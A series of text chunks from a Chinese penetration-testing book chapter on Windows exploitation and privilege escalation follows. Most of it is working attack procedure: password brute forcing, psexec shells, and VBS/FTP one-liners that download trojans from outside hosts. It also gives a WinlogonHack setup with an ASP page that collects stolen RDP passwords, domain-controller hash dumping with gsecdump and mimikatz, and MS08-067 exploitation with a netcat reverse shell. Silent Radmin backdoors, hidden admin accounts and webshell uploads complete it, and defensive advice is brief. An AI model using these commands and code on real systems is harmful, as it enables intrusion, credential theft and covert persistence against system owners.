    {"text": "2．执行扫描 在 NTscan 界面中单击“开始”按钮或者单击左窗口下方的第 1 个按钮（如果显示为乱码），开 始扫描，如图 2-20 所示。 图 2-20 扫描口令 说明 NTscan 扫描口令与字典有关，其原理是将字典中的口令与实际口令进行对比，如果相同即可建 立连接（即破解成功）。"},
    {"text": "在 NTscan 中还有一些辅助功能，例如单击右键后可以在弹出的快捷菜单中执行“连接”、 “打开 远程登录”及“映射网络驱动器”等命令，如图 2-22 所示。 72 第 2 章 Windows 漏洞利用与提权 图 2-21 NTscan 扫描记录文件 图 2-22 NTscan 辅助功能 3．实施控制 在 DOS 命令提示符下输入“net use \\\\221.*.*.*\\admin$ \"mrs6100\" /u:administrator”命令，获取主 机的管理员权限。"},
    {"text": "4．执行 psexec 命令 输入“psexec \\\\221.*.*.* cmd”命令获取一个 DosShell，如图 2-24 所示。 图 2-23 建立连接 图 2-24 获取 DOSShell 说明 以上两步可以合并，直接在 DOS 命令提示符下输入“psexec \\\\ipaddress –u administrator –ppassword cmd”命令。 例如，在上例中可以输入“psexec \\\\221.*.*.* –u Administrator –pmrs6100 cmd” 命令来获取一个 DOS 下的 Shell。"},
    {"text": "5．从远端查看被入侵计算机的端口开放情况 使用“sfind –p 221.*.*.*”命令查看远程主机端口开放情况，该主机仅开放了 4899 端口，如图 2-25 所示。 73 网络攻防实战研究：漏洞利用与提权 图 2-25 查看端口开放情况 6．上传文件 在该 DOSShell 下执行文件下载命令，将一些工具软件或者木马软件上传到被攻击计算机中，如 图 2-26 所示。"},
    {"text": "echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe echo set aso=.createobject(\"adodb.stream\"):set web=createobject(\"microsoft. xmlhttp\") >>dl.vbe echo web.open \"get\",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile. arguments(1),2:end with >>dl.vbe 74 第 2 章 Windows 漏洞利用与提权 cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe 如果不能通过执行 vbs 脚本上传文件，可以通过执行 ftp 命令上传文件。"},
    {"text": "echo open 192.168.1.1 >b echo ftp>>b echo ftp>>b echo bin>>b echo get systeminfo.exe >>b echo bye >>b ftp -s:b 7．查看主机基本信息 执行“systeminfo info”命令可以查看被入侵计算机的基本信息（该计算机操作系统为 Windows 2000 Professional），如图 2-27 所示。"},
    {"text": "通过 “开始”→“程序”→“Remote Administrator v2.2”→“Remote Administrator viewer”选项打开 Radmin 2.0 的客户端控制器，其中有两个 IP 地址，如图 2-28 所示，不过不知道连接密码。"},
    {"text": "图 2-27 查看主机基本信息 图 2-28 获取 Radmin 控制端信息 2.4.3 使用 Tscrack 扫描 3389 口令 3389 终端攻击主要通过 3389 破解登录器（Tscrack）实现。"},
    {"text": "1．安装 Tscrack 软件 初次运行 Tscrack 时需要进行安装（直接运行 tscrack.exe 程序）。 如果不能正常运行，则需要运 行“tscrack –U”命令卸载 Tscrack 中的组件以后再运行 tscrack.exe。 运行成功后，会提示安装组件、 75 网络攻防实战研究：漏洞利用与提权 解压缩组件、注册组件成功，如图 2-29 所示。 图 2-29 安装 Tscrack 程序 2．寻找开放 3389 端口的 IP 地址 在 DOS 提示符下输入“sfind –p 220.*.*.*”，探测其端口开放情况，如图 2-30 所示。 图 2-30 探测端口 3．构建字典文件 构建字典文件 100words.txt，在其中加入破解口令，每个口令占用一行，且行尾无空格。"},
    {"text": "4．编辑破解命令 如果仅对单个 IP 地址进行破解，其破解命令格式为“tscrack ip –w 100words.txt”。 如果是对多个 IP 地址进行破解，则可以将 IP 地址整理成一个 TXT 文件，每个 IP 地址占一行，且行尾无空格，将 76 第 2 章 Windows 漏洞利用与提权 其保存为 ip.txt，然后编辑一个批命令，如图 2-32 所示。"},
    {"text": "77 网络攻防实战研究：漏洞利用与提权 图 2-34 口令破解成功 说明 Tscrack 破解 3389 终端口令后不会生成日志文件，破解的口令显示在 DOS 窗口中，一旦 DOS 窗口关闭，所有结果都不会保存。 如果是对多个 IP 地址进行 3389 终端口令破解，Tscrack 程序会对所有 IP 地址进行破解尝试 后才停止。 Tscrack 破解 3389 终端口令所对应的用户只能是 Administrator，对其他用户无能为力。"},
    {"text": "图 2-35 进入远程终端桌面 8．总结 本案例通过 Tscrack 程序来破解远程终端（3389）的口令，只要字典足够强大、时间足够长，如 果对方未采取 IP 地址登录限制等安全措施，则其口令在理论上是可以破解的。"},
    {"text": "78 第 2 章 Windows 漏洞利用与提权 应对 3389 远程终端口令破解的安全措施是进行 IP 地址信任连接，或者通过一些软件来限制只有某 些 IP 地址才能访问远程终端。"},
    {"text": "2.4.4 使用 Fast RDP Brute 暴力破解 3389 口令 1．软件简介 Fast RDP Brute 是俄罗斯的 Roleg 开发的一款暴力破解工具，主要用于扫描远程桌面、连接弱口 令，其官方网站下载地址为 http://stascorp.com/load/1-1-0-58。"},
    {"text": "Scan ports：设置要扫描的端口，根据实际情况设置，默认为 3389、3390 和 3391。 在实际扫 描过程中，如果是对某个已知 IP 地址和端口进行扫描，建议删除多余端口。 例如，已知对 方端口为 3388，则只保留 3388 即可。"},
    {"text": "用户名和密码可以在文件夹中的 user.txt 和 pass.txt 文件内自行设置。 如图 2-37 所示，在默认的 user.txt 中包含俄文的管理员信息，一般用不上，可以根据实际情况进行设置。"},
    {"text": "图 2-38 扫描成果 注意 192.168.148.132 服务器必须开启 3389 端口。 在扫描服务器上执行 mstsc 命令，输入 IP 地址 192.168.148.132 进行 3389 登录测试，看看能 否访问网络。"},
    {"text": "4．总结与思考 该软件虽然提供了多个用户同时扫描的机制，但只要扫描出一个结果，软件就停止扫描。 对于 多用户扫描，可以在扫描出结果后，将已经扫描出来的用户删除，然后继续进行扫描，或者针对单 个用户进行扫描。"},
    {"text": "80 第 2 章 Windows 漏洞利用与提权 2.5 使用 WinlogonHack 获取系统密码 在网络安全事件频发的今天，很多人都在抱怨：为什么我的系统被入侵了，我的主页被修改了？"},
    {"text": "2.5.1 远程终端密码泄露分析 1．远程终端技术 大型企业一般都部署了远程终端，在微软的服务器操作系统 Windows Server 2008 中更是重点打 造了远程终端。"},
    {"text": "黑客在入侵网络中的一台主机后，肯定会想办法收集网络内部 或者与外部独立主机之间的远程终端登录用户名和密码，收集方法不外乎以下 3 种。 使用 GetHashes、PwDump 等工具获取系统的 Hash 密码值，然后通过 LC5 及彩虹表来破解， 破解成功后得到系统密码（这些密码极有可能是远程终端的密码）。"},
    {"text": "Gina.dll 提供 了一个交互式的界面，为用户登录提供认证请求。 Winlogon 会和 Gina.dll 进行交互，默认是 Msgina.dll （在 System32 目录下）。 微软也为我们提供了接口，我们可以自己编写 Gina.dll 来代替 Msgina.dll。 不知道是什么原因，微软的 Gina.dll 在 Windows XP 及后续版本中都不再出现，原来的 Gina.dll 改为 Msgina.dll。 Msgina.dll 在 Windows XP 中默认大小为 967680 字节（945KB），在 Windows Server 2003 中其大小为 1180672 字节（1153KB）。"},
    {"text": "2．Msgina.dll 文件被损坏和修改将导致严重的错误 DLL 知识库（http://www.dofile.com/dlllibrary/msgina/）中是这样描述的：Msgina.dll 是 Windows 登录认证策略相关模块，该模块用于完成所有的用户登录和验证功能。"},
    {"text": "如果系统中的这个文件被修 改或者破坏，将导致系统无法使用 3389 端口登录。 如图 2-40 所示，这个系统的 Msgina.dll 文件被破 坏了，导致用户无法远程登录 3389 终端服务器。"},
    {"text": "81 网络攻防实战研究：漏洞利用与提权 图 2-40 Msgina.dll 损坏或者被修改导致无法远程登录 3．WinlogonHack 截取密码的原理 WinlogonHack 通过挂钩系统中 Msgina.dll 的 WlxLoggedOutSAS 函数记录登录的账户密码。"},
    {"text": "在默认情况下，Gina.dll 或者 Msgina.dll 显示登录对话框，供用户输入用户名及密码。 所以，要 想获得用户名和密码，可以写一个新的 Gina.dll 或者 Msgina.dll，其中提供接口调用 Msgina.dll 的函 数是 WlxLoggedOutSAS。"},
    {"text": "mov edi,edi push ebp mov ebp,esp 2.5.3 使用 WinlogonHack 获取密码实例 在 WinlogonHack 之前有一个 Gina 木马，主要用于截取 Windows 2000 下的密码。 WinlogonHack 主要用于截取 Windows XP 及 Windows Server 2003 下的密码。"},
    {"text": "1．执行 install.bat 安装脚本 一种方法是将 WinlogonHack 的安装程序文件 Hookmsgina.dll、install.bat、On.reg 及 ReadLog.bat 复制到一个相同的文件夹下，然后在 DOS 提示符或者 GUI 界面直接运行 install.bat。"},
    {"text": "82 第 2 章 Windows 漏洞利用与提权 图 2-41 远程安装 WinlogonHack 软件截取 3389 登录密码 2．查看密码记录 可以直接打开 boot.dat 文件查看，也可以运行 ReadLog.bat 脚本，移动密码文件到当前目录中查 看。"},
    {"text": "2.5.4 攻击与防范方法探讨 1．攻击方法探讨 （1）定制化开发 WinlogonHack 的代码是开源的，因此攻击者可以定制它，即在“lstrcat( LogPath ， \"\\\\boot.dat\")； ” 83 网络攻防实战研究：漏洞利用与提权 中将 boot.dat 换成其他文件，执行 WinlogonHack 后，一般人 员很难发觉。"},
    {"text": "攻击者还可以在此基础上增加一个邮件发送功 能，将记录下来的 3389 远程终端用户名和密码发送到指定 的邮箱，笔者在进行安全加固的过程中就曾经碰到具有这种 功能的 3389 密码截取木马软件。"},
    {"text": "（2）对 WinlogonHack 进行免杀处理 由于 WinlogonHack 工具软件在网络入侵中扮演了一个 重要的辅助角色，因此一些厉害的杀毒软件会自动查杀 wminotify.dll 文件。"},
    {"text": "（3）WinlogonHack 在攻击中的应用 图 2-43 杀毒软件会自动查杀 WinlogonHack 工具软件主要用于截取 3389 登录密码， wminotify.dll 文件 因此在被入侵计算机上运行 mstsc 后，如果发现在 mstsc 的计算机地址栏中出现多个登录 IP 地址， 如图 2-44 所示，那么在该计算机上就有安装 WinlogonHack 软件的必要（通过它来记录在服务器上 管理员所登录的 3389 用户名和密码）。 图 2-44 获取 3389 登录地址列表 2．防范方法探讨 在系统目录中查找“wminotify.dll”文件，如果发现存在这个文件，则说明系统中一定安装了 WinlogonHack 工具。"},
    {"text": "直接到注册表的键值 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\Current 84 第 2 章 Windows 漏洞利用与提权 Version\\Winlogon\\Notify\\wminotify 下查看，如果存在，则将其删除。 定制的 WinlogonHack 较难根除，一个好办法是在安全状态下进行一次文件名称列表备份，以后 每次检测系统时比较系统目前状态下文件列表的异同。"},
    {"text": "杀毒软件在一定程度上能够防范一些已知的病毒，因此，要勤杀毒、勤看日志，在确认系统被 入侵后，一定要仔细、彻底地做一次系统安全检测。"},
    {"text": "2.5.5 自动获取并发送密码到指定网站 1．配置 Winlogon 劫持记录 3389 密码生成器 互联网上有很多 Winlogon 劫持记录 3389 密码生成器，如图 2-45 所示，运行其配置程序，在“收 密码地”文本框中输入网站或网页文件地址，例如“http://www.asm32.cn/post.asp”，其中 post.asp 为 密码接收文件。"},
    {"text": "图 2-45 配置网站接收文件地址 2．上传密码接收文件 将以下代码保存为 3389.asp，将其放置在一个可以访问的网站目录下，同时必须设置 3389.asp 具备写文件权限，代码如下。 <% Dim ValidEntry ValidEntry = True If not IsEmpty(Session(\"LogIn\")) then ValidEntry = False If ValidEntry Then Const ForAppending = 8 Const Create = true Dim FSO DIM TS DIM MyFileName 'Dim strLog Dim strTime,strUrl,strOporation,strUserAgent MyFileName = Server.MapPath(\"myIP.txt\") Set FSO = Server.CreateObject(\"Scripting.FileSystemObject\") Set TS = FSO.OpenTextFile(MyFileName, ForAppending, Create) strUrl=Request.ServerVariables(\"REMOTE_ADDR\") & \" \" Ts.writeline \"----分割线----\" Ts.writeline \"服务器 IP：\"&strUrl Session(\"LogIn\") = \"yes\" Set TS = Nothing Set FSO = Nothing 85 网络攻防实战研究：漏洞利用与提权 End If num=request(\"user\") pass=request(\"pass\") hxip=request(\"ip\") set fs=server.CreateObject(\"Scripting.FileSystemObject\") set file=fs.OpenTextFile(server.MapPath(\"IP.txt\"),8,True) if hxip <>\"\" then file.writeline num+\"----\"+pass+\"----ip:\"+hxip else file.writeline num+\"----\"+pass end if file.close set file=nothing set fs=nothing %> 3．查看本地密码记录文件 在测试服务器上执行 exe 文件。 特别提醒：所有生成的 exe 文件最好在虚拟机中运行，网上的 软件有可能捆绑了木马程序，通过虚拟机来测试不会给实体机带来损失。 执行 exe 文件后，需要打开 mstsc.exe（即远程终端登录），登录 127.0.0.1。 登录成功后，到 c:\\ windows\\system32\\下使用“dir /od”命令，即可看到 Winlogon 劫持记录 3389 密码生成器所释放的 4 个程序：install.bat、wminotify.dll、On.reg、wpa.dbl。 使用“type boot.dat”命令即可查看 3389 记录 的密码及发送记录，如图 2-46 所示。 4．查看网站记录文件 到网页记录文件所在服务器，直接打开 ip.txt 或者使用类似 http://www.antian365.com/ip.txt 的地 址进行访问，如图 2-47 所示，会记录远程终端服务器 IP 地址、用户名及密码信息。"},
    {"text": "图 2-46 获取密码记录 图 2-47 查看网站密码记录文件 2.6 Windows Server 2003 域控服务器密码获取 域控制器相当于一个门卫，它包含了由这个域的账户、密码、管理策略等信息构成的数据库。"},
    {"text": "当一台计算机登录域时，域控制器首先要鉴别这台计算机是否属于这个域，以及用户使用的登录账 号和密码是否正确。 如果正确，则允许计算机登录这个域，使用该域内其有权限访问的任何资源， 86 第 2 章 Windows 漏洞利用与提权 例如文件服务器、打印服务器（也就是说，域控制器仅起到一个验证作用，访问其他资源并不需要 再跟域控制器扯上关系）； 如果不正确，则不允许计算机登录，这时计算机将无法访问域内的任何资 源，这在一定程度上保护了企业的网络资源。"},
    {"text": "活动目录是企业基础架构的根本，是公司整体统一管理的基础，ISA、Exchange、防病毒服 务器、补丁分发服务器、文件服务器等服务依赖于域服务器。"},
    {"text": "本节将就 域控渗透思路、内网渗透常见命令及域控用户账号和密码的获取进行探讨。 2.6.1 域控服务器渗透思路 有关域控渗透思路，仁者见仁，智者见智，笔者就实际工作经验总结如下。 寻找网络入口，获取域控用户权限，通过用户获取域控管理员信息。 针对域控管理员开展个 人主机渗透或者社会工程学攻击，获取域管理员个人主机权限，进而获取域控服务器权限。 获取域控服务器内某一台 Web 服务器或者其他服务器的权限。 在获取网络中某一台服务器 的权限后，通过获取该服务器的用户账号和密码，对整个内网通过 NTscan 等工具进行账号 的暴力破解，以获取域控服务器权限。 总之，在内网渗透中需要对各种信息进行收集和研判，通过已有信息进行大胆的推断和渗透测 试，不断扩大权限，最终获取域控服务器权限。 2.6.2 内网域控服务器渗透常见命令 1．本机信息收集命令 用户列表（Windows 用户列表、邮件用户等）：分析 Windows 用户列表，一定不要忽略 administrator；"},
    {"text": "2．常见信息收集命令 查询本机用户列表：net user。 查询本机管理员（通常含有域用户）：net localhroup administrators。 87 网络攻防实战研究：漏洞利用与提权 查询域管理员用户：net group \"domain admins\" /domain。 查询域用户：net user /domain。 查询域里面的工作组：net group /domain。 查询域名称：net view /domain。 查询域内计算机：net view /domain:XX。 查询域控制器：net time /domain。 查询域管理员用户组：net localgroup administrators /domain。 将域用户添加到本机：net localgroup administrators workgroup\\user001 /add。 查看域控制器（如果有多台）：net group \"Domain controllers\"。 查询本机 IP 段、所在域等：ipconfig /all。 查询同一域内的机器列表：net view。 查询所有域控制器：dsquery server。 例如，“dsquery server -domain super.com | dsget server -dnsname -site”用于搜索域内所有域控制器并显示它们的 DNS 主机名和站点名称。 查询域内计算机：dsquery computer。 例如， “dsquery computer domainroot -name admin* -limit 10”用于搜索域内名称以“admin”开头的 10 台机器。 查询域用户：dsquery user。 例如，“dsquery user domainroot -name admin* -limit 10”用于搜 索域内以“admin”开头的 10 个用户。 查询域内联系人：dsquery contact。 例如， “dsquery contact domainroot -name admin* -limit 10” 用于搜索域内以“admin”开头的 10 个联系人。 查询域内子网：dsquery subnet。 查询域内用户组：dsquery group。 例如，“dsquery group dc=super，dc=com |more”用于搜索 在“dc=super，dc=com”域中的所有组。 查询域内组织单位：dsquery ou。 查询域内站点：dsquery site。 例如，“dsquery site -o rdn”用于搜索域中所有站点的名称。"},
    {"text": "2.6.3 域控服务器用户账号和密码获取实例 （1）获取 IP 地址配置信息 打开命令提示符窗口，如图 2-48 所示，输入“ipconfig /all”命令，查看该服务器 IP 地址等信息， 通过该信息来探测是否存在域控服务器。"},
    {"text": "（2）查看域控情况 通过“net view”命令查看显示当前域的计算机列表，在本例中发现仅存在 1 台服务器，如图 2-49 所示。 通过“net view”命令可以显示域列表、计算机列表或指定计算机的共享资源列表。 “net view [\\\\ComputerName] [/domain[:DomainName]]”命令用于指定要查看其可用计算机的域。"},
    {"text": "88 第 2 章 Windows 漏洞利用与提权 图 2-48 获取网络配置情况 图 2-49 显示当前域的计算机列表 图 2-50 获取当前域控名称 89 网络攻防实战研究：漏洞利用与提权 （3）登录域控服务器 在本例中，通过 NTscan 工具，用已经获取的 Web 服务器管理员密码和用户密码对网段 10.168.10.1-254 进行扫描，获取了 IP 地址为 10.168.10.3 的域控服务器的用户名和密码。"},
    {"text": "图 2-51 获取域控服务器权限 （4）获取域控服务器用户密码 将 psexec、gsecdump 等工具上传到域控服务器。 执行“psexec \\\\127.0.0.1 cmd”命令获取 system 权限，然后到工具目录下执行“gsecdump -s >all.txt”命令，将用户密码 Hash 值全部导出到 all.txt 文 件中，代码如下，运行情况如图 2-52 所示。"},
    {"text": "图 2-52 获取域控服务器用户密码 usage: gsecdump [options] options: 90 第 2 章 Windows 漏洞利用与提权 -a [ --dump_all ] dump all secrets -s [ --dump_hashes ] dump hashes from SAM/AD -l [ --dump_lsa ] dump lsa secrets -u [ --dump_usedhashes ] dump hashes from active logon sessions -w [ --dump_wireless ] dump microsoft wireless connections -h [ --help ] show help -S [ --system ] run as localsystem （5）查看并整理域控用户密码 通过“记事本”等程序打开 all.txt，将 IUSR、IWAM 及末尾含有“$”符号的用户全部删除。"},
    {"text": "例 如，IUSR_FS02T47E(current)、IWAM_FS02T47E(current)、RM103-2$(current)等密码都是无用密码， 如图 2-53 所示。"},
    {"text": "图 2-53 查看和清理域控用户密码 （6）破解域控用户密码 将整理好的文件导入 Ophcrack 中进行破解，如图 2-54 所示，可以快速获得域控用户的密码。 图 2-54 破解域控密码 91 网络攻防实战研究：漏洞利用与提权 技巧 在有些情况下，由于管理员设置了超过 14 位的密码，所以通过 gsecdump 获取的 Hash 值无法用 Ophcrace 进行破解，这时可以用 wce 进行破解。"},
    {"text": "执行“wce -w”命令直接获取登录用户的明文密码， 如图 2-55 所示。 图 2-55 获取登录用户的明文密码 还可以通过 mimikatz 程序获取系统登录时曾经使用的明文密码，命令如下。"},
    {"text": "mimikatz privilege::debug sekurlsa::logonpasswords 2.7 MS05-039 漏洞利用实战 MS05-039 漏洞是一个危害极高的漏洞，在未安装补丁程序的计算机上溢出成功率极高，虽然该 漏洞出现的时间已经很长了，但在一些内网系统中由于未对 Windows 2000、Windows XP 及 Windows Server 2003 安装补丁，所以可以直接溢出获取系统权限。"},
    {"text": "Windows Server 2003 with SP1 for Itanium-based Systems Windows Server 2003 x64 3．对应的 bug 库 BUGTRAQ ID: 14513 CVE(CAN) ID: CVE-2005-1983 2.7.2 实战 MS05-039 漏洞利用 1．设置 MS05-039 漏洞利用程序 在 MS05-039 漏洞利用程序中分别设置扫描起始 IP 地址 和结束 IP 地址，其他设置项可采用默认值，如图 2-56 所示。 图 2-56 设置 MS05-039 漏洞利用程序 2．扫描存在 MS05-039 漏洞的计算机 单击“Scan”按钮进行扫描，在扫描过程中，一些状态会在窗口右下方显示，当扫描到存在溢 出漏洞的计算机后，会反弹一个独立 IP 地址的 DOSShell 并以 Telnet 的方式显示，如图 2-57 所示。 图 2-57 扫描 MS05-039 漏洞 93 网络攻防实战研究：漏洞利用与提权 3．查看扫描结果 扫描结束后，会显示开放了 445 端口的地址，这些地址中有一部分是存在漏洞的计算机。"},
    {"text": "echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe echo set aso=.createobject(\"adodb.stream\"):set web=createobject(\"microsoft. xmlhttp\") >>dl.vbe echo web.open \"get\",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile. arguments(1),2:end with >>dl.vbe cscript dl.vbe http://www.somesite.com/AdmDll.dll AdmDll.dll cscript dl.vbe http://www.somesite.com/raddrv.dll raddrv.dll cscript dl.vbe http://www.somesite.com/r_server.exe r_server.exe 5．在 DOS 环境下安装 Radmin 在其反弹 DOSShell 中分别执行以下命令。"},
    {"text": "netstat -an |find \"4899\" net stop r_server r_server.exe /pass:test123456 /port:4899 /save /silence r_server.exe /install /silence net start r_server net start r_server netstat -an |find \"4899\" 说明 以上命令以安静模式安装 R_server，其端口为 4899，密码为“test123456”。"},
    {"text": "在以上批命令中， “net start r_server”命令的目的是确保 R_server 服务启动，有时执行 1 次“net start r_server”不能启动其 94 第 2 章 Windows 漏洞利用与提权 服务，所以在批命令中需要执行 2 次。"},
    {"text": "6．远程连接 Radmin 在 Radmin 中新建一个连接，输入 IP 地址和默认端口 4899。 双击其 IP 地址进行连接，在连接时 输入密码，密码验证正确后，进入 Telnet 控制端。"},
    {"text": "2.8 MS08-067 远程溢出漏洞利用实战 微软的正版验证机制发布后不久，就爆出了针对中文版本的 MS08-067 漏洞。 下面对 MS08-067 远程溢出漏洞进行实战分析。 2.8.1 MS08-067 漏洞描述 MS08-067 漏洞的全称为“Windows Server 服务 RPC 请求缓冲区溢出漏洞”，如果用户在受影响 的系统上收到特制的 RPC 请求，则该漏洞可能允许远程执行代码。"},
    {"text": "MS08-067 比“冲击波”还要厉害，通过笔者的实际测试，扫描一个网段至少能发现上百台存在 该漏洞的计算机，只要是中文版本的 Windows 操作系统（Windows Vista 除外），无一幸免！ 2.8.2 实战 MS08-067 远程漏洞利用 1．扫描 445 端口 关于 MS08-067 漏洞，据相关资料称，只要扫描到开放的 139、445 端口，就有可能利用该漏洞 来实施远程溢出。"},
    {"text": "图 2-59 使用 sfind 扫描 445 端口 95 网络攻防实战研究：漏洞利用与提权 说明 由于扫描出来的结果比较少，所以直接在命令行界面查看就可以了。 如果结果比较多，可以到 sfind 扫描目录下打开 sfind.txt 查看扫描结果。"},
    {"text": "2．使用 MS08-067 溢出工具对结果进行溢出尝试 将获取的代码在 VC 环境中编译，将生成的程序命名为“MS0867”，然后打开 DOS 界面，将 MS08-067.exe 程序复制到当前操作目录下，直接输入程序的名称，回车后即可看到具体的使用方式。"},
    {"text": "输入可能存在该漏洞的 IP 地址 218.*.*.*，显示结果“SMB Connect OK! Maybe Patched!”， 如图 2-60 所示。 图 2-60 对存在漏洞的服务器进行溢出 注意 在溢出过程中还有多种提示，例如“Make SMB Connection error:64”。"},
    {"text": "3．监听 4444 端口 在执行扫描的计算机上使用 nc 监听 4444 端口，具体命令为“nc -vv IP 地址 4444”（例如“nc - vv 218.69.*.2 4444”）。"},
    {"text": "不成功的溢出显示结果，例如“Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h _ errno 11002: TRY _ AGAIN 71.27.22.218.broad. static.hf.ah.cndata.com [218.22.27.71] 4444 (?) : TIMEDOUT sent 0， rcvd 0: NOTSOCK”，这说明 218.22.27.71 可能已经安装了补丁或者防火墙禁止了对外连接等。"},
    {"text": "图 2-61 溢出成功 5．查看服务器信息 对溢出的计算机，先要了解其配置等信息，例如操作系统版本、系统配置情况等，然后决定是 否对其进行控制等后续操作。"},
    {"text": "在这 里使用“type c:\\boot.ini”命令查看操作系统类型，如图 2-62 所示，该服务器为 Windows Server 2003 企业版服务器，显然有进一步控制的必要了。 图 2-62 查看服务器版本等信息 6．添加管理员账号 既然是服务器，那就先添加一个管理员账号吧。"},
    {"text": "如图 2-63 所示，使用“net user king$ nohacker /add”、“net localgroup administrators king$ /add”及“net localgroup administrators”命令添加“king$” 用户，密码为“nohacker”，并查看是否将“king$”用户加入到管理员组中。"},
    {"text": "97 网络攻防实战研究：漏洞利用与提权 图 2-63 添加一个用户到管理员组中 7．上传文件 上传文件有多种方法，个人推荐 FTP 脚本法，即在某个站点或者自己假设一个临时 FTP 服务器， 然后使用以下脚本下载 ma.exe。"},
    {"text": "echo open 218.*.*.* >b echo ftp>>b echo ftp>>b echo bin>>b echo get ma.exe>>b echo bye>>b ftp -s:b del b 将以上脚本直接粘贴在反弹 Shell 中，即可从 FTP 服务器上下载，然后就可以在反弹的 Shell 中 执行下载的文件了。"},
    {"text": "在本次渗透过程中，由于是相邻的 IP 地址，因此使用了一个简便的方法，即单 击“开始”→“运行”选项，在其中输入“\\\\IP\\admin$”或者“\\\\IP\\C$”并单击“确定”按钮，如图 2-64 所示。"},
    {"text": "如图 2-65 所示，顺利打开该服务器的系统盘，将木马、获取系统密码、查看系统信息等工具软件复制进去。 图 2-64 打开网络连接 图 2-65 打开被溢出服务器的系统盘 98 第 2 章 Windows 漏洞利用与提权 8．获取系统详细信息及执行各种命令 使用 MS08-067 溢出工具成功溢出服务器后，还可以使用“telnet IP 地址 4444”命令连接被溢出 的服务器。"},
    {"text": "Echo Dim ReadComputerName >>port.vbs Echo Set ReadComputerName=WScript.CreateObject(\"WScript.Shell\") >>port.vbs Echo Dim TSName,TSRegPath >>port.vbs Echo TSRegPath=\"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\ WinStations\\RDP-Tcp\\PortNumber\" >>port.vbs Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs Echo WScript.Echo(\"TermService port is:\"^&TSName) >>port.vbs Cscript port.vbs 9．登录被溢出服务器 打开 mstsc 远程终端连接器，输入 IP 地址、刚才添加的用户名和密码，验证成功后顺利进入服 务器，如图 2-67 所示。"},
    {"text": "根据笔者的经验，应先进行简单的加固，如图 2-68 所示，就地取材，看看系统 中有哪些杀毒软件，例如 360 安全卫士等，再对系统的补丁进行修复，删除其他木马程序等。"},
    {"text": "在本 案例中，利用瑞星的漏洞扫描程序对系统进行扫描，然后进行修复。 图 2-68 扫描系统漏洞并修复 注意 如果系统中安装了瑞星等杀毒软件，使用 getpw 获取系统账号将会失败，这个时候就要想办法 开放服务器的远程终端。 登录系统后，禁用杀毒软件，然后使用 getpw 命令获取系统的 Hash 密码。 getpw 命令获取密码的格式为“getpw $local”，获取的 Hash 密码一定要在 Shell 中，否则获取的 Hash 密码为空。"},
    {"text": "on error resume next set arg=wscript.arguments If arg.count=0 then wscript.echo \"use:// cscript.exe FS.vbs port\" 100 第 2 章 Windows 漏洞利用与提权 sleep 1000 wscript.quit End If Tport=arg(0) Runs=false While runs=false Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport Set oShell = WScript.CreateObject(\"WScript.Shell\") Set oExec = oShell.Exec(\"netstat -an\") Set oRegExp = new RegExp oRegExp.Pattern = \"TCP[\\s]+[\\d\\.]+:\"&Tport&\"[\\s]+[\\d\\.]+:[\\d]+[\\s]+ESTABLISHED\" oRegExp.IgnoreCase = True oRegExp.Global = True Do While Not oExec.StdOut.AtEndOfStream strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10) Loop Set Matches = oRegExp.Execute(strOut) Num = 0 For Each Match In Matches Num = Num + 1 Next if num > 1 then Runs=true oShell.run \"logoff\" end if Set Matches = Nothing Set oRegExp = Nothing Set oExec = Nothing Set oShell = Nothing Wend 11．破解 Hash 值 直接使用 LC5 导入即可。"},
    {"text": "12．继续溢出 测试成功后，继续对扫描结果进行溢出，毫无疑问，Windows XP、Window 2000 Server、Windows 2000 Professional 及 Windows Server 2003 均可成功溢出。 如图 2-70 所示为成功溢出 Windows 2000 服务器。"},
    {"text": "图 2-70 溢出其他类型的服务器 101 网络攻防实战研究：漏洞利用与提权 2.8.3 防范措施 1．安装 360 安全卫士和升级系统补丁 首先就是升级系统补丁，推荐使用 360 安全卫士，使用其扫描功能，发现问题按照提示纠正即 可。 还有就是要及时升级 360 安全卫士的版本，在实际溢出过程中，笔者发现很多服务器上都安装 了杀毒软件及 360 安全卫士，但由于其版本太低，未及时更新补丁程序，失去了应有的防范能力。 2．安装防火墙 在本次溢出过程中，笔者还发现，在存在防火墙的情况下，成功溢出的概率几乎为零。"},
    {"text": "对扫描结果中暴露的代码、文件路 径、Web 编辑器、特殊文件名等要做详细的分析和实际测试，因为攻击者很有可能通过这些漏洞拿 到 WebShell 权限。 图 2-71 分析 AWS 扫描结果 102 第 2 章 Windows 漏洞利用与提权 2.9.2 获取 WebShel 1．获取文件上传地址 通过查看 AWS 的扫描结果，发现该网站存在直接文件上传地址。"},
    {"text": "图 2-72 获取文件上传地址 2．直接上传网页木马 通过测试发现上传页面能够正常访问，因此可以按照以下方法上传网页木马。 直接上传网页木马。 网页木马可以是大马，也可以是小马，还可以是存在 IIS 文件命名漏洞 的图片文件。"},
    {"text": "如图 2-74 所示，在地址栏中输入一句话 后门地址“http://www.kuaijielin.com/sywebeditor/2.asp;1.jpg”，密码“cmd”，单击“添加”按钮，即 可将该后门地址添加到“中国菜刀”管理器中。 在“中国菜刀”中单击刚才添加的一句话后门地址， 如果连接没有问题，则可以直接对该网站的文件进行操作，如图 2-75 所示。 图 2-74 创建一句话后门 图 2-75 管理一句话后门 4．上传大马进行管理 在“中国菜刀”中将网页大马上传到网站。"},
    {"text": "图 2-76 上传网页大马 2.9.3 服务器信息收集与 Pr 提权 1．查看网站服务器文件 通过网页木马查看目标网站所在服务器中的文件，如图 2-77 所示，获取了该网站所在服务器管 理平台的数据库，将该数据库下载到本地。"},
    {"text": "到 Data 目录下新建 user.MYD 文件并将其下载到本地， 该文件中保存了 MySQL 的所有数据库用户名和密码等信息，如图 2-78 所示。 MySQL 的 user.MYD 文件中的用户密码可以在 cmd5 网站查询及破解。"},
